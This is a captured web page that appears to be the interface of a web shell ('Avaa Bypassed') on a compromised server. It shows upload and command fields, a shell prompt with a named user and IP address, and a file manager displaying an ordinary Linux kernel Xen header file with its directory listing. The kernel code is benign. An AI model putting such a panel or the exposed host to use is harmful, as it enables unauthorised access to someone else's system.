404

[ Avaa Bypassed ]




Upload:

Command:

botdev@18.227.114.67: ~ $
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef _XEN_XEN_H
#define _XEN_XEN_H

enum xen_domain_type {
	XEN_NATIVE,		/* running on bare hardware    */
	XEN_PV_DOMAIN,		/* running in a PV domain      */
	XEN_HVM_DOMAIN,		/* running in a Xen hvm domain */
};

#ifdef CONFIG_XEN
extern enum xen_domain_type xen_domain_type;
#else
#define xen_domain_type		XEN_NATIVE
#endif

#ifdef CONFIG_XEN_PVH
extern bool xen_pvh;
#else
#define xen_pvh			0
#endif

#define xen_domain()		(xen_domain_type != XEN_NATIVE)
#define xen_pv_domain()		(xen_domain_type == XEN_PV_DOMAIN)
#define xen_hvm_domain()	(xen_domain_type == XEN_HVM_DOMAIN)
#define xen_pvh_domain()	(xen_pvh)

#ifdef CONFIG_XEN_DOM0
#include <xen/interface/xen.h>
#include <asm/xen/hypervisor.h>

#define xen_initial_domain()	(xen_domain() && \
				 xen_start_info && xen_start_info->flags & SIF_INITDOMAIN)
#else  /* !CONFIG_XEN_DOM0 */
#define xen_initial_domain()	(0)
#endif	/* CONFIG_XEN_DOM0 */

#endif	/* _XEN_XEN_H */

Filemanager

Name Type Size Permission Actions
arm Folder 0755
interface Folder 0755
acpi.h File 3.41 KB 0644
balloon.h File 1.15 KB 0644
events.h File 5.14 KB 0644
features.h File 502 B 0644
grant_table.h File 9.99 KB 0644
hvc-console.h File 518 B 0644
hvm.h File 1.29 KB 0644
page.h File 1.34 KB 0644
platform_pci.h File 2.04 KB 0644
swiotlb-xen.h File 271 B 0644
tmem.h File 349 B 0644
xen-ops.h File 5.96 KB 0644
xen.h File 972 B 0644
xenbus.h File 8.54 KB 0644
xenbus_dev.h File 1.8 KB 0644